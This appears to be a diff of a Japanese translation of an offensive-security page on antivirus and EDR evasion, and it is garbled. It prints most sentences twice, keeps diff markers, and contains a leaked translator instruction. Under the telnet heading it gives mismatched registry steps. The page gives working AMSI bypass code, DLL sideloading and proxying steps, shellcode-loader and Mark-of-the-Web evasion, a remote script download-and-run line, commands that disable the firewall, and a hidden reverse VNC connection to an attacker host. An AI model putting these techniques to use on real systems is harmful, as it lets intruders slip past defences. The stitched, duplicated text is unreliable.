<figure><img src="../.gitbook/assets/image (6) (3) (1).png" alt=""><figcaption><p>antiscan.meでの通常のHavoc EXEペイロードと通常のHavoc DLLの比較</p></figcaption></figure>
[Siofra](https://github.com/Cybereason/siofra)と以下のPowerShellスクリプトを使用して、DLL Sideloadingの対象となるプログラムを確認できます。
これから、DLLファイルを使用してさらに隠密に行動するためのいくつかのコツを紹介します。
## DLLサイドローディング & プロキシング
**DLLサイドローディング**は、ローダーが使用するDLL検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを隣り合わせに配置することで利用します。
DLLサイドローディングに対応しているプログラムを[Siofra](https://github.com/Cybereason/siofra)と次のpowershellスクリプトを使用してチェックできます
{% code overflow="wrap" %}
```powershell
@ -86,17 +91,17 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
{% endcode %}
このコマンドは、"C:\Program Files\\"内のDLLハイジャックの脆弱性のあるプログラムのリストと、それらがロードしようとするDLLファイルを出力します。
このコマンドは、"C:\Program Files\\" 内のDLLハイジャックの可能性があるプログラムのリストと、それらが試みるDLLファイルをロードするリストを出力します。
**DLLハイジャック可能/サイドロード可能なプログラムを自分で調査することを強くお勧めします**。このテクニックは、適切に行われればかなりステルス性がありますが、公に知られているDLLサイドロード可能なプログラムを使用すると、簡単に発見される可能性があります。
私はあなたに**自分自身でDLLハイジャック可能/サイドロード可能なプログラムを探索すること**を強くお勧めします。この技術は適切に行われるとかなり隠密ですが、公に知られているDLLサイドロード可能なプログラムを使用すると、簡単に捕まる可能性があります。
プログラムがロードすることを期待しているDLLの名前を持つ悪意のあるDLLを配置するだけでは、ペイロードはロードされません。なぜなら、プログラムはそのDLL内の特定の関数を期待しているからです。この問題を解決するために、別のテクニックである**DLLプロキシング/フォワーディング**を使用します。
プログラムがロードしようとする名前の悪意のあるDLLを配置するだけでは、ペイロードはロードされません。プログラムはそのDLL内に特定の関数を期待しているためです。この問題を解決するために、**DLLプロキシング/フォワーディング**と呼ばれる別の技術を使用します。
**DLLプロキシング**は、プログラムがプロキシおよび悪意のあるDLLからオリジナルのDLLに行う呼び出しを転送し、プログラムの機能を保持しながらペイロードの実行を処理することができます。
**DLLプロキシング**は、プロキシおよび悪意のあるDLLからオリジナルのDLLへのプログラムの呼び出しを転送し、プログラムの機能を維持しつつ、ペイロードの実行を処理することができます。
[@flangvik](https://twitter.com/Flangvik/)の[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)プロジェクトを使用します。
私は[@flangvik](https://twitter.com/Flangvik/)の[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)プロジェクトを使用します。
以下は私が実行した手順です:
これらは私が従ったステップです:
{% code overflow="wrap" %}
```
@ -107,7 +112,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
{% endcode %}
最後のコマンドは、2つのファイルを提供しますDLLのソースコードテンプレートと、元の名前が変更されたDLL
最後のコマンドにより、DLLソースコードテンプレートと、名前を変更したオリジナルのDLLの2つのファイルが生成されます
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
@ -117,23 +122,23 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
{% endcode %}
以下は結果です:
これが結果です:
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
私たちのシェルコード([SGN](https://github.com/EgeBalci/sgn)でエンコードされていますとプロキシDLLの両方が、[antiscan.me](https://antiscan.me)で0/26の検出率を持っています!これは成功と言えるでしょう。
私たちのシェルコード([SGN](https://github.com/EgeBalci/sgn)でエンコードされとプロキシDLLは、[antiscan.me](https://antiscan.me)で0/26の検出率です!これは成功と言えるでしょう。
<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
私は、DLL Sideloadingについてより詳しく説明した[S3cur3Th1sSh1tのtwitch VOD](https://www.twitch.tv/videos/1644171543)と[ippsecのビデオ](https://www.youtube.com/watch?v=3eROsG\_WNpE)を見ることを**強くお勧めします**。
DLLサイドローディングについての[S3cur3Th1sSh1tのTwitch VOD](https://www.twitch.tv/videos/1644171543)と、より深く学ぶための[ippsecのビデオ](https://www.youtube.com/watch?v=3eROsG\_WNpE)を見ることを**強くお勧めします**。
{% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze)
`Freezeは、中断されたプロセス、直接シスコール、および代替実行方法を使用してEDRをバイパスするためのペイロードツールキットです`
`Freezeは、中断されたプロセス、直接システムコール、および代替実行方法を使用してEDRをバイパスするためのペイロードツールキットです`
Freezeを使用して、ステルス性のある方法でシェルコードをロードして実行することができます。
Freezeを使用して、シェルコードを隠密にロードして実行できます。
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
@ -143,46 +148,46 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
回避はただの猫とネズミのゲームであり、今日うまくいっても明日は検出される可能性があるため、可能な限り複数の回避技術を組み合わせて使用することが重要です
回避は猫とネズミのゲームです。今日効果があるものが明日検出される可能性がありますので、一つのツールにのみ依存しないでください。可能であれば、複数の回避技術を連鎖させて試してみてください
{% endhint %}
## AMSIAnti-Malware Scan Interface
## AMSI (アンチマルウェア スキャン インターフェース)
AMSIは、"[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless\_malware)"を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンすることができました。したがって、何らかの方法でペイロードを**直接メモリ上で実行**できれば、AVはそれを防ぐ手段を持っていませんでした
AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless\_malware)」を防ぐために作られました。初期のAVは**ディスク上のファイル**のスキャンのみが可能でしたので、何とかしてペイロードを**直接メモリ内で実行**できれば、AVは何も防げませんでした。なぜなら、十分な可視性がなかったからです
AMSI機能はWindowsのこれらのコンポーネントに統合されています。
AMSI機能はWindowsのこれらのコンポーネントに統合されています。
- ユーザーアカウント制御EXE、COM、MSI、またはActiveXの昇格)
- PowerShellスクリプト、インタラクティブ使用、および動的コード評価)
- Windowsスクリプトホストwscript.exeおよびcscript.exe
- JavaScriptおよびVBScript
- Office VBAマクロ
* ユーザーアカウント制御、またはUACEXE、COM、MSI、またはActiveXインストールの昇格)
* PowerShellスクリプト、対話型使用、および動的コード評価)
* Windows Script Hostwscript.exeおよびcscript.exe
* JavaScriptおよびVBScript
* Office VBAマクロ
これにより、アンチウイルスソリューションは、スクリプトの動作を検査するために、スクリプトの内容を暗号化されずに非難読可能な形式で公開できます。
これにより、アンチウイルスソリューションは、スクリプトの内容を暗号化されておらず、難読化されていない形式で公開することにより、スクリプトの動作を検査できます。
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`を実行すると、Windows Defenderで次のアラートが表示されます。
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` を実行すると、Windows Defenderで以下のアラートが表示されます。
<figure><img src="../.gitbook/assets/image (4) (5).png" alt=""><figcaption></figcaption></figure>
注意してください。スクリプトが実行された実行可能ファイルのパスの前に`amsi:`が付加されていることがわかります。この場合、powershell.exeです。
スクリプトが実行された実行可能ファイルへのパスの前に `amsi:` が追加されていることに注意してください。この場合はpowershell.exeです。
ディスクにファイルをドロップしていないにもかかわらず、AMSIのためにメモリ上で検出されました。
ディスクにファイルをドロップしていないにもかかわらず、AMSIのためにメモリ内で捕捉されました。
AMSIを回避する方法はいくつかあります
AMSIを回避する方法はいくつかあります
* **難読化**
AMSIは主に静的検出で動作するため、読み込もうとするスクリプトを変更することは検出を回避する良い方法です。
AMSIは主に静的検出を行うため、ロードしようとするスクリプトを変更することは検出を回避する良い方法になり得ます。
ただし、AMSIは複数のレイヤーを持つスクリプトでもスクリプトを非難読化する能力を持っているため、難読化は行われている方法によっては適切なオプションではありません。これにより、回避が直接的ではなくなります。ただし、変数名をいくつか変更するだけで十分な場合もありますので、フラグが立てられたものによって異なります。
しかし、AMSIは複数のレイヤーがあってもスクリプトの難読化を解除する能力があるため、難読化はどのように行われるかによっては悪い選択肢になる可能性があります。これにより、回避はそれほど簡単ではありません。ただし、時には変数名を数個変更するだけで十分な場合もあるので、何がどれだけフラグが立てられているかによります。
* **AMSIバイパス**
AMSIはpowershellまたはcscript.exe、wscript.exeなどプロセスにDLLをロードすることで実装されているため、特権のないユーザーとして実行していても簡単に操作することができます。このAMSIの実装上の欠陥により、研究者はAMSIスキャンを回避するための複数の方法を見つけました。
AMSIはpowershellまたはcscript.exe、wscript.exeなどプロセスにDLLをロードすることによって実装されているため、特権のないユーザーとして実行していても簡単に改ざんすることができます。AMSIの実装にこの欠陥があるため、研究者たちはAMSIスキャンを回避する複数の方法を見つけました。
**エラーの強制**
**エラーを強制する**
AMSIの初期化を失敗させるamsiInitFailedことにより、現在のプロセスに対してスキャンが開始されないようにすることができます。これはもともと[マット・グレイバー](https://twitter.com/mattifestation)によって開示され、Microsoftは広範な使用を防ぐためのシグネチャを開発しました。
AMSIの初期化に失敗させるamsiInitFailedと、現在のプロセスに対してスキャンが開始されない結果になります。もともとこれは[Matt Graeber](https://twitter.com/mattifestation)によって公開され、Microsoftはより広範な使用を防ぐためのシグネチャを開発しました。
{% code overflow="wrap" %}
```powershell
@ -190,9 +195,9 @@ AMSIの初期化を失敗させるamsiInitFailedことにより、現在
```
{% endcode %}
現在のPowerShellプロセスでAMSIを使用できなくするために、わずかなPowerShellコードの1行が必要でした。もちろん、この行はAMSI自体によってフラグが立てられているため、このテクニックを使用するためにはいくつかの修正が必要です。
たった一行のpowershellコードで、現在のpowershellプロセスに対してAMSIを無効にすることができました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するためにはいくつかの変更が必要です。
以下は、この[GitHub Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)から取得した修正されたAMSIバイパスです。
こちらは、この[Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)から取得した変更されたAMSIバイパスです。
```powershell
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -206,53 +211,57 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
**メモリパッチング**
以下は、ハッキング技術に関するハッキングの本の内容です。関連する英語のテキストを日本語に翻訳し、まったく同じマークダウンおよびhtml構文を保持して翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名Workspace、aws、gcpなど、'leak'という単語、ペネトレーションテスト、およびマークダウンタグなどの翻訳は行わないでください。また、翻訳とマークダウン構文以外の余分なものは何も追加しないでください。
このテクニックは、最初に[@RastaMouse](https://twitter.com/\_RastaMouse/)によって発見され、amsi.dll内の"AmsiScanBuffer"関数のアドレスを見つけ、それをE\_INVALIDARGのコードを返すように上書きすることで、実際のスキャン結果が0として解釈されるようにするものです。
**Memory Patching**
この技術は最初に[@RastaMouse](https://twitter.com/\_RastaMouse/)によって発見され、amsi.dllユーザー提供の入力をスキャンする責任があるの"AmsiScanBuffer"関数のアドレスを見つけ、E_INVALIDARGのコードを返す命令で上書きすることを含んでいます。この方法では、実際のスキャンの結果は0を返し、これはクリーンな結果と解釈されます。
{% hint style="info" %}
詳しい説明については、[https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)を参照してください。
より詳細な説明については、[https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)をお読みください。
{% endhint %}
また、PowerShellでAMSIをバイパスするために使用される他の多くのテクニックもあります。詳細については、[**このページ**](basic-powershell-for-pentesters/#amsi-bypass)と[このリポジトリ](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)を参照してください。
powershellを使用してAMSIをバイパスするために使用される他の多くの技術もあります。[**このページ**](basic-powershell-for-pentesters/#amsi-bypass)と[このリポジトリ](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)をチェックして、それらについてもっと学んでください。
## オブフスケーション
または、このスクリプトはメモリパッチングを介して新しいPowershをパッチします
C#のクリアテキストコードを**オブフスケート**するために使用できるいくつかのツールや、バイナリをコンパイルするための**メタプログラミングテンプレート**を生成したり、**コンパイルされたバイナリをオブフスケート**するためのツールがあります。
## Obfuscation
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C#オブフスケーター**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/)コンパイルスイートのオープンソースフォークを提供し、[コードのオブフスケーション](http://en.wikipedia.org/wiki/Obfuscation\_\(software\))と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscatorは、外部ツールを使用せずに、コンパイル時に`C++11/14`言語を使用してオブフスケートされたコードを生成する方法を示しています。
* [**obfy**](https://github.com/fritzone/obfy): C++テンプレートメタプログラミングフレームワークによって生成されたオブフスケートされた操作のレイヤーを追加し、アプリケーションをクラックしようとする人の生活を少し難しくします。
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatrazは、.exe、.dll、.sysなど、さまざまな異なるPEファイルをオブフスケートすることができるx64バイナリオブフスケーターです。
* [**metame**](https://github.com/a0rtega/metame): Metameは、任意の実行可能ファイル用のシンプルなメタモーフィックコードエンジンです。
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscatorは、ROPreturn-oriented programmingを使用してLLVMサポートされた言語のための細かい粒度のコードオブフスケーションフレームワークです。ROPfuscatorは、通常の制御フローの自然な概念を妨げるため、通常の命令をROPチェーンに変換することで、アセンブリコードレベルでプログラムをオブフスケートします。
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcryptは、Nimで書かれた.NET PE Crypterです。
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptorは、既存のEXE/DLLをシェルコードに変換し、それをロードすることができます。
以下のツールは、**C# クリアテキストコードの難読化**、バイナリのコンパイルに使用する**メタプログラミングテンプレートの生成**、または**コンパイル済みバイナリの難読化**に使用できます:
## SmartScreenとMoTW
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 難読化ツール**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/) コンパイルスイートのオープンソースフォークを提供し、[コード難読化](http://en.wikipedia.org/wiki/Obfuscation\_\(software\))と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscatorは、コンパイラを変更することなく、外部ツールを使用せずに、コンパイル時に`C++11/14`言語を使用して難読化されたコードを生成する方法を示しています。
* [**obfy**](https://github.com/fritzone/obfy): C++テンプレートメタプログラミングフレームワークによって生成された難読化された操作の層を追加し、アプリケーションをクラックしようとする人の作業を少し難しくします。
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatrazは、.exe、.dll、.sysなど、さまざまなpeファイルを難読化できるx64バイナリ難読化ツールです。
* [**metame**](https://github.com/a0rtega/metame): Metameは任意の実行可能ファイル用のシンプルなメタモルフィックコードエンジンです。
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscatorは、ROPリターン指向プログラミングを使用して、LLVM対応言語の細かいコード難読化フレームワークです。ROPfuscatorは、通常の命令をROPチェーンに変換することで、プログラムをアセンブリコードレベルで難読化し、通常の制御フローの私たちの自然な概念を妨げます。
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): NimcryptはNimで書かれた.NET PE Crypterです
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptorは既存のEXE/DLLをシェルコードに変換し、それらをロードすることができます
インターネットから実行可能ファイルをダウンロードして実行する際に、この画面を見たことがあるかもしれません。
## SmartScreen & MoTW
Microsoft Defender SmartScreenは、潜在的に悪意のあるアプリケーションの実行からエンドユーザーを保護するためのセキュリティメカニズムです。
インターネットからいくつかの実行可能ファイルをダウンロードして実行するときに、この画面を見たことがあるかもしれません。
Microsoft Defender SmartScreenは、エンドユーザーが潜在的に悪意のあるアプリケーションを実行するのを防ぐことを目的としたセキュリティメカニズムです。
<figure><img src="../.gitbook/assets/image (1) (4).png" alt=""><figcaption></figcaption></figure>
SmartScreenは主に評判ベースのアプローチで動作し、一般的にダウンロードされないアプリケーションはSmartScreenをトリガーし、エンドユーザーにファイルの実行を警告し、防止しますただし、詳細情報-> とにかく実行をクリックすることでファイルを実行することはできます)。
SmartScreenは主に評判ベースのアプローチで動作し、一般的でないダウンロードアプリケーションはSmartScreenをトリガーし、エンドユーザーに警告し、ファイルの実行を防ぎますただし、[詳細情報 -> とにかく実行]をクリックすることでファイルは実行できます)。
**MoTW**Mark of The Webは、インターネットからファイルをダウンロードすると自動的に作成されるZone.Identifierという名前の[NTFSの代替データストリーム](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))です。
**MoTW**Mark of The Webは、インターネットからダウンロードしたファイルに自動的に作成されるZone.Identifierという名前の[NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))です。これには、ダウンロード元のURLも含まれます。
<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>インターネットからダウンロードしたファイルのZone.Identifier ADSをチェックします。</p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>インターネットからダウンロードしたファイルのZone.Identifier ADSを確認します。</p></figcaption></figure>
{% hint style="info" %}
重要なことは、**信頼された**署名証明書で署名された実行可能ファイルは、SmartScreenをトリガーしないということです
**信頼された**署名証明書で署名された実行可能ファイルは**SmartScreenをトリガーしない**ということに注意してください
{% endhint %}
ペイロードがMark of The Webを受け取らないようにする非常に効果的な方法は、ISOなどのコンテナにパッケージ化することです。これは、Mark-of-the-WebMOTWが**非NTFS**ボリュームには適用できないためです。
Webのマークをペイロードから防ぐ非常に効果的な方法は、ISOのような何らかのコンテナ内にそれらをパッケージ化することです。これは、Mark-of-the-WebMOTWは**非NTFS**ボリュームには**適用できない**ためです。
<figure><img src="../.gitbook/assets/image (12) (2) (2).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)は、Mark-of-the-Webを回避するためにペイロードを出力コンテナにパッケージ化するツールです。
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)は、Webのマークを回避するためにペイロードを出力コンテナにパッケージ化するツールです。
使用例:
```powershell
@ -276,63 +285,63 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
以下は、[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用してISOファイル内にペイロードをパッケージ化してSmartScreenをバイパスするデモです。
以下は、[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用してISOファイル内にペイロードをパッケージングすることでSmartScreenをバイパスするデモです。
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## C#アセンブリリフレクション
## C# アセンブリリフレクション
C#バイナリをメモリにロードする方法はかなり以前から知られており、AVに検出されずにポストエクスプロイテーションツールを実行する非常に優れた方法です。
メモリ内でC#バイナリをロードすることは以前から知られており、AVに捕まることなくポストエクスプロイトツールを実行するための非常に優れた方法です。
ペイロードはディスクに触れずに直接メモリにロードされるため、プロセス全体のAMSIのパッチ適用について心配する必要はありません
ペイロードはディスクに触れることなく直接メモリにロードされるため、プロセス全体に対してAMSIをパッチすることだけを心配すればよいでしょう
ほとんどのC2フレームワークsliver、Covenant、metasploit、CobaltStrike、Havocなどすでにメモリ内でC#アセンブリを直接実行する機能を提供していますが、実行方法はさまざまです。
ほとんどのC2フレームワークsliver、Covenant、metasploit、CobaltStrike、Havocなど、メモリ内で直接C#アセンブリを実行する機能を提供していますが、実行方法にはいくつかの違いがあります:
* **Fork\&Run**
これは、**新しい犠牲プロセスを生成**し、ポストエクスプロイテーションの悪意のあるコードをその新しいプロセスに注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了するというものです。これには利点と欠点があります。フォークと実行のメリットは、実行が**Beaconインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイテーションのアクションで何かがうまくいかなかったり検出されたりした場合、**インプラントが生き残る可能性がはるかに高い**ということを意味します。欠点は、**行動検出**によって**検出される可能性が高い**ということです。
新しい犠牲プロセスを**生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。fork and runメソッドの利点は、実行がBeaconインプラントプロセスの**外部**で行われることです。これは、ポストエクスプロイトアクションで何かが間違っていたり、捕まったりした場合でも、インプラントが**生き残る可能性がはるかに高い**ことを意味します。欠点は、**行動検出**によって捕まる**可能性が高くなる**ことです。
<figure><img src="../.gitbook/assets/image (7) (1) (3).png" alt=""><figcaption></figcaption></figure>
* **Inline**
これは、ポストエクスプロイテーションの悪意のあるコードを**独自のプロセスに注入**することです。これにより、新しいプロセスを作成してAVにスキャンされることを回避できますが、ペイロードの実行中に何かがうまくいかない場合、**ビーコンがクラッシュしてしまう可能性がはるかに高くなります**
ポストエクスプロイトの悪意のあるコードを**自身のプロセスに注入する**ことについてです。この方法では、新しいプロセスを作成し、AVにスキャンされることを避けることができますが、ペイロードの実行に何か問題が発生した場合、ビーコンを**失う可能性がはるかに高く**なります。なぜなら、それによってクラッシュする可能性があるからです
<figure><img src="../.gitbook/assets/image (9) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
C#アセンブリのロードについて詳しく読みたい場合は、この記事[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)とそのInlineExecute-Assembly BOF([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))をご覧ください。
C# アセンブリローディングについてもっと読みたい場合は、この記事 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) とそのInlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) をチェックしてください。
{% endhint %}
また、PowerShellからもC#アセンブリをロードすることができます。[Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)と[S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk)をチェックしてください。
また、C# アセンブリを**PowerShellからロード**することもできます。[Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) [S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk) をチェックしてください。
## 他のプログラミング言語の使用
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)で提案されているように、攻撃者が制御するSMB共有へのアクセスを妨害されたマシンに与えることで、他の言語を使用して悪意のあるコードを実行することが可能です。
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) で提案されているように、攻撃者が制御するSMB共有にインストールされたインタープリタ環境へのアクセスを侵害されたマシンに与えることで、他の言語を使用して悪意のあるコードを実行することが可能です。
SMB共有上のインタプリタ環境とインタプリタバイナリにアクセスを許可することで、妨害されたマシンのメモリ内でこれらの言語で任意のコードを実行できます
SMB共有上のインタープリタバイナリと環境へのアクセスを許可することで、侵害されたマシンのメモリ内でこれらの言語の任意のコードを**実行することができます**
リポジトリは、スクリプトはまだDefenderによってスキャンされるが、Go、Java、PHPなどを利用することで、静的な署名をバイパスする**柔軟性が増す**と示しています。これらの言語でのランダムな非難読みされていない逆シェルスクリプトのテストは成功しています。
リポジトリは次のように示していますDefenderはスクリプトを引き続きスキャンしますが、Go、Java、PHPなどを利用することで、静的シグネチャをバイパスするための**柔軟性が増します**。これらの言語でランダムな未難読化リバースシェルスクリプトをテストした結果、成功しています。
## 高度な回避
回避は非常に複雑なトピックであり、1つのシステムに多くの異なるテレメトリソースを考慮する必要があるため、成熟した環境では完全に検出を回避することはほぼ不可能です。
回避は非常に複雑なトピックであり、時には一つのシステム内の多くの異なるテレメトリソースを考慮に入れなければならないため、成熟した環境で完全に検出されないことはほぼ不可能です。
戦するすべての環境にはそれぞれ独自の強みと弱点があります。
峙するすべての環境には、それぞれの強みと弱みがあります。
[@ATTL4S](https://twitter.com/DaniLJ94)のこのトークを見ることを強くお勧めします。これにより、より高度な回避技術についての基礎が得られます。
より高度な回避技術についての理解を深めるために、[@ATTL4S](https://twitter.com/DaniLJ94) のこのトークを見ることを強くお勧めします。
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
また、[@mariuszbit](https://twitter.com/mariuszbit)によるEvasion in Depthについての素晴らしいトークもあります。
これは、回避の深さについての[@mariuszbit](https://twitter.com/mariuszbit) の素晴らしいトークもあります。
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
## **古いテクニック**
## **古い技術**
### **Telnetサーバー**
### **Telnet サーバー**
Windows10まで、すべてのWindowsには**Telnetサーバー**が付属しており、(管理者として)インストールすることができました。
Windows10まで、すべてのWindowsには**Telnetサーバー**が付属しており、管理者として次の操作を行うことでインストールできました:
```
pkgmgr /iu:"TelnetServer" /quiet
```
@ -340,64 +349,36 @@ pkgmgr /iu:"TelnetServer" /quiet
```
sc config TlntSVR start= auto obj= localsystem
```
**telnetポートの変更**(ステルス)とファイアウォールの無効化:
```plaintext
1. Open the Windows Registry Editor by pressing `Win + R` and typing `regedit`.
2. Navigate to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Telnet`.
3. Create a new DWORD value named `Start` if it doesn't already exist.
4. Set the value of `Start` to `0x4` to disable the Telnet service.
5. Navigate to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL`.
6. Create a new DWORD value named `Enabled` if it doesn't already exist.
7. Set the value of `Enabled` to `0x0` to disable the SSL/TLS protocols.
8. Restart the computer for the changes to take effect.
Note: Disabling the firewall can leave your system vulnerable to attacks. Proceed with caution and consider alternative security measures.
```
**telnetポートの変更**(ステルス)とファイアウォールの無効化:
```plaintext
1. `Win + R`を押してWindowsレジストリエディタを開きます。`regedit`と入力します。
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Telnet`に移動します。
3. `Start`という名前の新しいDWORD値を作成します既に存在しない場合
4. `Start`の値を`0x4`に設定して、Telnetサービスを無効にします。
5. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL`に移動します。
6. `Enabled`という名前の新しいDWORD値を作成します既に存在しない場合
7. `Enabled`の値を`0x0`に設定して、SSL/TLSプロトコルを無効にします。
8. 変更を有効にするためにコンピュータを再起動します。
注意: ファイアウォールを無効にすると、システムが攻撃に対して脆弱になる可能性があります。注意して進み、代替のセキュリティ対策を検討してください。
```
**telnet ポートの変更**(ステルス)およびファイアウォールの無効化:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
以下からダウンロードしてください[http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html)(セットアップではなく、バイナリのダウンロードが必要です)
以下からダウンロードしてください: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (セットアップではなく、binダウンロードを選びます)
**ホスト側での設定**: _**winvnc.exe**_ を実行し、サーバーを設定します
**ホスト側で**: _**winvnc.exe**_ を実行し、サーバーを設定します:
* _Disable TrayIcon_ オプションを有効にしま
* _VNC Password_ にパスワードを設定しま
* _View-Only Password_ にパスワードを設定しま
* _Disable TrayIcon_ オプションを有効にする
* _VNC Password_ にパスワードを設定する
* _View-Only Password_ にパスワードを設定する
その後、バイナリ _**winvnc.exe**_ と新しく作成された _**UltraVNC.ini**_ ファイル**被害者** の中に移動します
その後、バイナリ _**winvnc.exe**_**新しく** 作成されたファイル _**UltraVNC.ini**_**被害者** の中に移動します
#### **接続**
#### **リバース接続**
**攻撃者**は自分の **ホスト** 内でバイナリ `vncviewer.exe -listen 5900` を実行して、逆接続の **VNC 接続** を待機させます。その後、**被害者** の中で、winvnc デーモンを起動します `winvnc.exe -run` そして `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` を実行します
**攻撃者** は自分の **ホスト** 内で `vncviewer.exe -listen 5900` を実行し、リバース **VNC接続** をキャッチする準備をします。その後、**被害者** 内で: winvncデーモン `winvnc.exe -run` を開始し、`winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` を実行します
**警告:** ステルス性を維持するためには、以下のことを行わないでください
**警告:** ステルスを維持するためにはいくつかのことを行ってはいけません
* 既に実行中の場合は `winvnc`起動しないでください。そうすると [ポップアップ](https://i.imgur.com/1SROTTl.png) が表示されます。実行中かどうかは `tasklist | findstr winvnc` で確認してください
* `winvnc` が既に実行中の場合は起動しないでください。そうすると [ポップアップ](https://i.imgur.com/1SROTTl.png) が表示されます。`tasklist | findstr winvnc` で実行中かどうかを確認してください
